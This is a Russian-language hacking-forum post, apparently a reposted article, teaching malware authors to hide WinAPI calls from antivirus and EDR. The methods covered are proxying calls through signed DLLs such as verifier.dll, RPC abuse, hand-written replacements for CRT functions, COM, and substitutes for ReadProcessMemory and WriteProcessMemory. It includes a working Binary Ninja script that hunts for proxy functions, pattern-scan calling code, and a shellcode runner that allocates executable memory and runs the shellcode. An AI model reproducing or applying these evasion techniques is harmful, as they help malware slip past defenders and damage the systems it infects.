• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Обфусцируем вызовы WinAPI новыми способами

stihl

bot
Moderator
Joined
Feb 9, 2012
Messages
1,483
Contests
0
Reaction score
871
Deposit
0.228 BTC
stihl has not provided any additional information.
Все крутые вредоносы стараются прятать использование вызовов WinAPI, ведь наличие подозрительных функций в коде может привести к блокировке исполнения нашей программы. Существует не так много документированных способов скрыть вызовы WinAPI, однако у меня есть пара любопытных разработок, и я готов ими поделиться. Мы попрактикуемся в сканировании памяти, исследовании компонентов Windows и даже немного затронем RPC.

warning​

Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Как ты знаешь, любой, даже самый страшный «вирус» — это обычная программа, которая использует те же механизмы и функции, что и легитимный софт. Можно сказать, идет злоупотребление функциями, доступными любому разработчику. Иногда встречается абуз недокументированных возможностей. Одним словом — хакерство!


Вердикт о признании программы вредоносной антивирус выносит после анализа и сопоставления множества фактов, но основополагающим всегда будет анализ используемых функций в коде. Анализировать можно разные вещи: хуки, таблицы импортов, поток исполнения, в сложных случаях может производиться быстрая декомпиляция. Хакеры, в свою очередь, научились Link hidden, please Sign in or Sing up, Link hidden, please Sign in or Sing up, применять Link hidden, please Sign in or Sing up и предотвращать Link hidden, please Sign in or Sing up.

Представь, а что, если бы мы смогли избежать использования подозрительных функций? Буквально: не трогаем всякие опасные штуки, а нас не трогает антивирус!

Например, вместо VirtualAllocEx() можно дергать что‑нибудь альтернативное, как делали в Link hidden, please Sign in or Sing up про шелл‑код‑раннер на чистом C#. И это возможно! Существует несколько техник, позволяющих идти обходным путем, не затрагивая «подозрительные» методы или всячески скрывая их использование.


Проксирование вызовов​


Теория​

У западных коллег эта техника называется Proxy Invoke. Она основана на том, что хакер обнаруживает такую функцию, которая дергает нужные вещи, «проксируя» вызов. Фактически идет злоупотребление чужими обвязками над существующими методами.

Пример: у нас есть функция ZwProtectVirtualMemory(), она позволяет изменить разрешения памяти. Считается, так скажем, не самой безобидной, ведь с ее помощью можно пометить адресное пространство как исполняемое. При попытке ее использования может вылезти алерт, например у Link hidden, please Sign in or Sing up.

Link hidden, please Sign in or Sing up

www​

Интересное по теме:
Нас интересует этот: VirtualProtect API Call from an Unsigned DLL. Логика детекта проста: если функция вызывается из адресного пространства неподписанной библиотеки, то вызов считается вредоносным. Подобные рассуждения имеют право на жизнь, ведь зачем обычному разработчику дергать Zw-функцию из своей программы? Явно что‑то нечисто...

Обход такого детекта возможен через проксирование. Нам нужно найти легитимный, подписанный бинарь с экспортируемой функцией, которая передает поток управления в целевую функцию.

Был такой поток управления:

malware → ntdll!ZwProtectVirtualMemory
Станет вот такой:

malware → signed!SomeFuncToProtectMemory → ntdll!ZwProtectVirtualMemory
И детекта не будет! Ведь цепочка вызовов начинается из легитимной, подписанной библиотеки. Схожую логику в чуть более упрощенном формате предлагает инструмент Link hidden, please Sign in or Sing up. Однако он работает только с программами на C#.

С некоторой натяжкой можно сказать, что подобное проксирование когда‑то победило на премии Link hidden, please Sign in or Sing up. Конечно, там еще использовалась подмена оригинального метода, однако логика осталась схожей: имитация активности, происходящей из легитимного модуля.


Обнаружение прокси-функций​

Таблица экспортов/импортов​

Есть путь простой, а есть путь самурая. Начнем с простого. Он заключается в том, чтобы быстро проанализировать все существующие в системе подписанные DLL и определить использование в них функций, до которых мы можем дотянуться. Варианта два.

  • Можем идти от таблицы импортов. Например, видим импорт ZwProtectVirtualMemory(), после чего находим место, в котором эта функция дергается, и смотрим, есть ли возможность контроля аргументов.
  • Можем идти от таблицы экспортов. Например, видим экспорт функции AllocateAndProtectSomeMemory(), догадываемся о потенциально интересной функциональности и исследуем эту функцию.
Для подобного анализа подойдет скрипт Link hidden, please Sign in or Sing up.

Например, вот так можно обнаружить все импорты функции MiniDumpWriteDump().

Link hidden, please Sign in or Sing up
А так — проанализировать экспорты:

python .\findSymbols.py "c:\windows\system32" -s "memory" -e
Link hidden, please Sign in or Sing up
Однако далеко не все функции объявляются экспортируемыми, поэтому можно также прибегнуть к анализу символов, как я это делал в Link hidden, please Sign in or Sing up, разбор — в моей Link hidden, please Sign in or Sing up. Но все равно как‑то много «если» и лишнего ресерча. Хочется автоматизировать и сразу дергать нужную функцию, правда? А вот это уже бусидо!

Бинарный анализ​

Путь самурая — автоматизировать этап исследования бинарных файлов с помощью API какого‑нибудь декомпилера. Этот метод я стащил у чувака с ником Link hidden, please Sign in or Sing up. Он использует Binary Ninja для автоматизации анализа подписанных библиотек DLL. Рассмотрим его код подробнее.

Code:
import os
import binaryninja
from binaryninja import highlevelil


signed_dlls_path = r'C:\Users\user\source\repos\SignedDllAnalyzer\signed_dlls.txt'


with open(signed_dlls_path, "r") as f:
    signed_dlls = [dll.strip() for dll in f]


total_dlls = len(signed_dlls)


with open(signed_dlls_path, "r") as f:
    current_dll = 0
    for signed_dll_path in f:
        current_dll += 1
        signed_dll_path = signed_dll_path.strip()
        dll_name = signed_dll_path.split('\\')[-1]
        dll_size_mb = os.path.getsize(signed_dll_path) / 1024 / 1024
        progress = f"{current_dll}/{total_dlls}"
        if dll_size_mb > 15:
            print(f"[-] [{progress}] [{dll_name}] [{dll_size_mb:.2f} > 15 MB]")
            continue
        print(f"[*] [{progress}] [{dll_name}] [{dll_size_mb:.2f} MB]")
        with binaryninja.load(signed_dll_path, update_analysis=False) as binary_view:
            ntAllocateVirtualMemorySymbol = binary_view.get_symbol_by_raw_name("NtAllocateVirtualMemory")
            if not ntAllocateVirtualMemorySymbol:
                continue
            else:
                print(f"[+] [{progress}] [{dll_name}] [NtAllocateVirtualMemory]")
                binary_view.set_analysis_hold(False)
                binary_view.update_analysis_and_wait()
                code_refs = binary_view.get_code_refs(ntAllocateVirtualMemorySymbol.address)
                for ref in code_refs:
                    try:
                        func = binary_view.get_functions_containing(ref.address)[0]
                        hlil_instr = func.get_llil_at(ref.address).hlil
                        for operand in hlil_instr.operands:
                            if type(operand) == HighLevelILCall:
                                if operand.dest.value.value == ntAllocateVirtualMemorySymbol.address:
                                    hlil_call = operand
                                    break
                        args = hlil_call.params
                        protect = args[5]
                        regionSize = args[3]
                        if type(protect) == HighLevelILVar:
                            if protect.var not in func.parameter_vars:
                                continue
                        if type(regionSize) == HighLevelILVar:
                            if regionSize.var not in func.parameter_vars:


                        if type(protect) == HighLevelILConst:
                            if int(protect.value) != 0x40:
                                continue
                        if type(regionSize) == HighLevelILConst:
                            if int(regionSize.value) <= 0x10000:
                                continue


                        print(f"[+] [{progress}] [{dll_name}] [{hex(ref.address)}] [{hlil_instr}]")
                    except Exception as e:
                        print(f"[x] [{progress}] [{dll_name}] [{e}]")
Давай разберем скрипт пошагово, тут есть несколько нетривиальных моментов.

Итак, все начинается с чтения текстового файла, в котором лежат пути с подписанными библиотеками. Например, C:\Windows\System32.
Code:
import os
import binaryninja
from binaryninja import highlevelil


signed_dlls_path = r'C:\Users\user\source\repos\SignedDllAnalyzer\signed_dlls.txt'


with open(signed_dlls_path, "r") as f:
    signed_dlls = [dll.strip() for dll in f]


total_dlls = len(signed_dlls)

Затем в цикле анализируется каждая библиотека.

with open(signed_dlls_path, "r") as f:
    current_dll = 0
    for signed_dll_path in f:
        current_dll += 1
        signed_dll_path = signed_dll_path.strip()
        dll_name = signed_dll_path.split('\\')[-1]
        dll_size_mb = os.path.getsize(signed_dll_path) / 1024 / 1024
        progress = f"{current_dll}/{total_dlls}"
        if dll_size_mb > 15:
            print(f"[-] [{progress}] [{dll_name}] [{dll_size_mb:.2f} > 15 MB]")
            continue
        print(f"[*] [{progress}] [{dll_name}] [{dll_size_mb:.2f} MB]")
        with binaryninja.load(signed_dll_path, update_analysis=False) as binary_view:

Дальше программа проверяет размер каждой библиотеки и не анализирует те, что занимают больше 15 Мбайт. Те, что меньше, передаются в Binary Ninja для бинарного анализа через метод load().

Binary Ninja и BinaryView​

Здесь важно знать, что у Binary Ninja есть не только GUI, но и API, через который можно загрузить бинарный файл и провести некоторый автоматический анализ.
Бинарник будет представлен в виде объекта Link hidden, please Sign in or Sing up, он же bv в документации. Он предоставляет набор методов по работе с файлом, например получение списка функций.
Code:
>>> bv
<BinaryView: '/bin/ls', start 0x100000000, len 0x182f8>
>>> len(bv.functions)
140
Через BinaryView можно извлечь класс Link hidden, please Sign in or Sing up, который указывает на (неожиданно!) функцию в коде.
Функция будет представлена в виде BNIL — Binary Ninja Intermediate Language. Это особый вид ассемблерных инструкций для Binary Ninja. Есть несколько форм: LLIL, MLIL, HLIL, Pseudo-C, они различаются глубиной абстракции. Чем выше уровень, тем более человекочитаемый код получаем. Чем ниже, тем более приближенный к тому, что исполняет компьютер.
Отдельно поддерживается отображение в форме SSA (Static Single Assignment). Это такой механизм оптимизации кода компилятором, главный концепт которого — присвоение конкретной переменной значения только в одном месте в коде.
Наш алгоритм поиска функций будет таким:

  1. Получить BinaryView.
  2. Обнаружить, что используется нужная нам функция.
  3. Определить место, из которого вызывается нужная нам функция.
  4. Убедиться, что мы можем контролировать аргументы, передаваемые в функции.
Это все автоматизируется с помощью Binary Ninja. Сначала делаем поиск символа. Если символа нет, значит, и использования функции нет.

Code:
ntAllocateVirtualMemorySymbol = binary_view.get_symbol_by_raw_name("NtAllocateVirtualMemory")
if not ntAllocateVirtualMemorySymbol:
    continue
else:
    print(f"[+] [{progress}] [{dll_name}] [NtAllocateVirtualMemory]")

Убедившись, что метод присутствует, запускаем анализ. Метод s
Link hidden, please Sign in or Sing up «включает анализ», а Link hidden, please Sign in or Sing up его осуществляет.

Code:
binary_view.set_analysis_hold(False)
binary_view.update_analysis_and_wait()

После того как BN провел анализ бинарного кода, можно приступать к пункту три. Обнаруживаем места, ссылающиеся на нужный нам метод, через get_code_refs().

code_refs = binary_view.get_code_refs(ntAllocateVirtualMemorySymbol.address)

Затем пробегаемся в цикле по всем ссылкам, находя функции, которые ссылаются на нужный нам метод.

for ref in code_refs:
    try:
        func = binary_view.get_functions_containing(ref.address)[0]

Далее убеждаемся, что происходит именно вызов функции, а не просто ссылка на адрес.

Code:
hlil_instr = func.get_llil_at(ref.address).hlil
for operand in hlil_instr.operands:
    if type(operand) == HighLevelILCall:
        if operand.dest.value.value == ntAllocateVirtualMemorySymbol.address:
            hlil_call = operand
            break
Для этого мы получаем LLIL (низкоуровневое представление инструкций) по адресу, следующим шагом конвертируем в HLIL и убеждаемся по наличию операнда Call, что происходит вызов функции.

Наконец, получаем параметры функции, а также анализируем, можем ли мы воздействовать на эти переменные из параметров функции‑обертки.

Code:
args = hlil_call.params
protect = args[5]
regionSize = args[3]
if type(protect) == HighLevelILVar:
    if protect.var not in func.parameter_vars: # Проверка на наличие в параметрах родительской функции
        continue
if type(regionSize) == HighLevelILVar:
    if regionSize.var not in func.parameter_vars:


if type(protect) == HighLevelILConst:
    if int(protect.value) != 0x40:
        continue


if type(regionSize) == HighLevelILConst:
    if int(regionSize.value) <= 0x10000:
        continue
print(f"[+] [{progress}] [{dll_name}] [{hex(ref.address)}] [{hlil_instr}]")
С помощью этого скрипта получилось обнаружить место, в котором используется функция NtAllocateVirtualMemory() внутри verifier.dll.

Link hidden, please Sign in or Sing up
Дальнейшим исследованием была обнаружена функция DphCommitMemoryFromPageHeap() из verifier.dll, внутри которой и дергалась NtAllocateVirtualMemory().

Link hidden, please Sign in or Sing up
А вот и наша NtAllocateVirtualMemory()!

Link hidden, please Sign in or Sing up

Пример с DphCommitMemoryFromPageHeap​

После того как мы смогли найти нужную функцию, следует добиться передачи потока управления по этому адресу. Есть два варианта:

  • определить смещение функции относительно базового адреса загрузки DLL в памяти;
  • определить адрес целевой функции по байтовому паттерну.
Воспользуемся вторым вариантом. Здесь нам поможет IDA, а также сканирование памяти по опкодам. Начнем с определения начальных инструкций функции.

Link hidden, please Sign in or Sing up
Затем переводим их в опкоды, по которым будем осуществлять сканирование.

Link hidden, please Sign in or Sing up
Определяем прототип функции для вызова.

Code:
typedef int (WINAPI* DphCommitMemoryFromPageHeapFunc)(
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG Protect
    );
Добавляем код по скану памяти и передаем на функцию поток управления!

Code:
int main()
{
    HMODULE hModule = NULL;


    hModule = LoadLibraryA("verifier.dll");
    DphCommitMemoryFromPageHeapFunc DphCommitMemoryFromPageHeapWPtr = (DphCommitMemoryFromPageHeapFunc)(FindFunction(GetCurrentProcess(), GetFunctionBytes(), (uintptr_t)hModule));
    SIZE_T size = 0xABCD;
    LPVOID addr = nullptr;
    NTSTATUS err = DphCommitMemoryFromPageHeapWPtr(&addr, &size, PAGE_EXECUTE);
    std::wcout << err << std::endl;


    return 0;
}
Полный код представлен Link hidden, please Sign in or Sing up. И видим результат вызова.

Link hidden, please Sign in or Sing up
Сам автор в своем ресерче предлагает вызывать функцию AVrfpNtAllocateVirtualMemory(), он дергает ее по оффсету, но ты можешь, в качестве тренировки, сделать получение адреса по паттерну.

Code:
typedef NTSTATUS (*AVrfpNtAllocateVirtualMemory_t)
(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    ULONG_PTR *RegionSize,
    ULONG AllocationType,
    ULONG Protect
);


DWORD protect{};
LPVOID virtualMemory = nullptr;
SIZE_T size = rawShellcodeLength;


HMODULE hVerifierMod = this->api.LoadLibraryA.call("verifier.dll");


AVrfpNtAllocateVirtualMemory_t AVrfpNtAllocateVirtualMemory = (AVrfpNtAllocateVirtualMemory_t)((char*)hVerifierMod + 0x25110);
AVrfpNtAllocateVirtualMemory(NtCurrentProcess(), &virtualMemory, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);


this->api.RtlMoveMemory.call(virtualMemory, rawShellcode, rawShellcodeLength);


(*(int(*)()) virtualMemory)();

Через RPC​

Скажу честно, проксирование через вызовы — достаточно сложный метод, объяснение которого не уместится в одну статью. По этому способу был даже представлен Link hidden, please Sign in or Sing up. Однако я постараюсь описать вкратце.

При взаимодействии устройств через протокол RPC происходят операции маршалинга и демаршалинга передаваемых параметров. Это необходимо, так как аргументы функции передаются по сети и сложные структуры просто так в сокет не засунуть.

Обработка данных происходит в специальных NDR-функциях (NDR — Network Data Representation). Сами данные попадают внутрь этих функций в виде структуры Link hidden, please Sign in or Sing up. Внутри нее достаточно большая вложенность других структур, манипулируя которыми мы можем передать поток управления по произвольному адресу.

Link hidden, please Sign in or Sing up
У этого метода есть свои особенности: как минимум необходимо инициализировать среду RPC в текущем процессе. Существует демонстрация работы на Link hidden, please Sign in or Sing up, а также POC на Link hidden, please Sign in or Sing up.

Таким образом, с помощью подсистемы RPC мы можем дергать любую WinAPI-функцию с передачей аргументов, что будет считаться одной из форм проксирования.


Используем альтернативные функции​


Теория​

Пора выдохнуть и перейти к чуть более простому методу. В случае с альтернативными функциями мы будем пытаться найти обходной путь до нужных нам возможностей. Например, вместо использования функции memcpy() собственноручно писать логику метода и копировать данные с помощью указателей, ручками. Или как вариант — обнаружить и дергать чуть более низкоуровневый, потенциально нехукнутый аналог.

В принципе, этот вариант достаточно тесно связан с прокси‑функциями, ведь какой‑то метод может дергать оригинальную функцию под капотом, быть оберткой над оберткой... В общем, реверсить каждую запаришься. Главное — найти иной WinAPI-вызов, альтернативу.


Замена CRT​

Проще всего начать с замены CRT-функций. Например, так можно заменить функцию memcpy():

Code:
PVOID _memcpy(PVOID Destination, PVOID Source, SIZE_T Size)
{
    for (volatile int i = 0; i < Size; i++) {
        ((BYTE*)Destination)[i] = ((BYTE*)Source)[i];
    }
    return Destination;
}
Вот так — сравнение строк через wcscmp():

Code:
int custom_wcscmp(const wchar_t* str1, const wchar_t* str2) {
    while (*str1 == *str2 && *str1 != L'\0') {
        str1++;
        str2++;
    }


    return *str1 - *str2;
}
А так — преобразование из нижнего регистра в верхний:

Code:
PCHAR CaplockStringA(_In_ PCHAR Ptr)
{
    PCHAR sv = Ptr;
    while (*sv != '\0')
    {
        if (*sv >= 'a' && *sv <= 'z')
            *sv = *sv - ('a' - 'A');
        sv++;
    }
    return Ptr;
}


PWCHAR CaplockStringW(_In_ PWCHAR Ptr)
{
    PWCHAR sv = Ptr;
    while (*sv != '\0')
    {
        if (*sv >= 'a' && *sv <= 'z')
            *sv = *sv - ('a' - 'A');
        sv++;
    }
    return Ptr;
}
В CRT очень много функций, и практически все возможно переписать, вручную реализовав логику их работы. Больше вариантов ищи в репозиториях Link hidden, please Sign in or Sing up и Link hidden, please Sign in or Sing up.


Через ссылки на структуры Windows​

Обычно в Windows используются одни и те же структуры в функциях со схожей логикой работы. Таким образом, у нас появляется возможность искать похожие функции. Проще всего искать через IDE. Для этого нужно будет найти заголовочный файл, в котором есть интересующая нас структура.

info​

Искать прокси‑функции можно тем же методом, поэтому не будем останавливаться на них отдельно.
Итак, пусть у нас есть функция Link hidden, please Sign in or Sing up, которая принимает структуру Link hidden, please Sign in or Sing up.

Структура CONTEXT определена в файле winnt.h.

Link hidden, please Sign in or Sing up
Нажимаем на PCONTEXT, кликаем правой кнопкой мыши и выбираем «Найти все ссылки».

Link hidden, please Sign in or Sing up
Получаем большой список ссылок на эту структуру из разных функций.

Link hidden, please Sign in or Sing up
Начинаем исследовать и обнаруживаем функцию RtlCaptureContext2() со схожими возможностями!

Link hidden, please Sign in or Sing up

Изучаем COM​

Подсистема COM предоставляет нам огромное количество всяких фич. Нужно лишь изучить ее и понять ее особенности: что такое класс COM, как они регистрируются в системе, как работают интерфейсы и методы и так далее. Проштудировав это, ты сможешь обнаружить множество интересных вещей!

www​

У меня есть небольшой репозиторий Link hidden, please Sign in or Sing up, который поможет тебе в изучении COM.
Например, у объекта {00000618-0000-0010-8000-00aa006d2ea4} существует интерфейс, внутри которого есть метод ChangePassword(), предварительно это метод может использоваться для смены пароля пользователя. Таким образом, дергая ChangePassword() из COM, ты можешь избежать вызова функций из netapi.dll.

Link hidden, please Sign in or Sing up

Замена ReadProcessMemory()​

Наконец, давай покажу еще пару интересных «обходных путей» для вызова функций. На текущий момент известно несколько способов замены методов ReadProcessMemory():

  • через злоупотребление уязвимыми драйверами, например Link hidden, please Sign in or Sing up;
  • через Link hidden, please Sign in or Sing up.
Первый вариант очевиден: драйвер предоставлял уязвимый метод, пригодный для чтения памяти. А вот второй чуть более сложный. Исследователь под ником x86matthew обнаружил функцию RtlFirstEntrySList(), которая получала адрес и возвращала значение по нему.

Code:
DWORD __stdcall RtlFirstEntrySList(DWORD *pValue)
{
    return *pValue;
}
Если вызывать эту функцию в удаленном процессе через CreateRemoteThread() или NtCreateThreadEx(), то можно добиться примитива чтения данных. Автор удалил PoC и статью из своего блога, впрочем, все сохранено в Internet Archive, ссылка выше.

Если мы работаем из кода на С#, то стоит обратить внимание на System.StubHelpers.GetNDirectTarget().

Code:
public static IntPtr ReadMemory(IntPtr addr)
{
    var stubHelper = typeof(System.String).Assembly.GetType("System.StubHelpers.StubHelpers");
    var GetNDirectTarget = stubHelper.GetMethod("GetNDirectTarget", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static);
    IntPtr unmanagedPtr = Marshal.AllocHGlobal(200);
    for (int i = 0; i < 200; i += IntPtr.Size)
    {
        Marshal.Copy(new[] { addr }, 0, unmanagedPtr + i, 1);
    }
    return (IntPtr)GetNDirectTarget.Invoke(null, new object[] { unmanagedPtr });
}

Замена WriteProcessMemory()​

В той же Link hidden, please Sign in or Sing up x86matthew предложил альтернативу записи в память. Она тоже основана на функциях инкремента и декремента значения по адресу. Множественными вызовами этих функций для адреса в процессе мы можем изменять значения в памяти, а значит, записывать.

Code:
LONG __stdcall InterlockedIncrement(LONG *Addend);
LONG __stdcall InterlockedDecrement(LONG *Addend);

Где искать альтернативы​

Если тебе стало интересно обнаруживать подобные возможности, рекомендую изучить блог Link hidden, please Sign in or Sing up. На сайте много интересных разработок, которые можно использовать в собственном коде. Например, мы могли бы запускать процесс не вызывая напрямую CreateProcess(), а через имитацию нажатий Win-R. Согласись, это круто!


Выводы​

Обфускация вызовов WinAPI — крайне творческий и любопытный процесс. Нужно пытаться смотреть на систему под новыми углами и мыслить нестандартно. Если вдруг получается отойти от проторенной дороги, можно оказаться вне поля зрения антивирусных радаров!
 
Activity
So far there's no one here
Top Bottom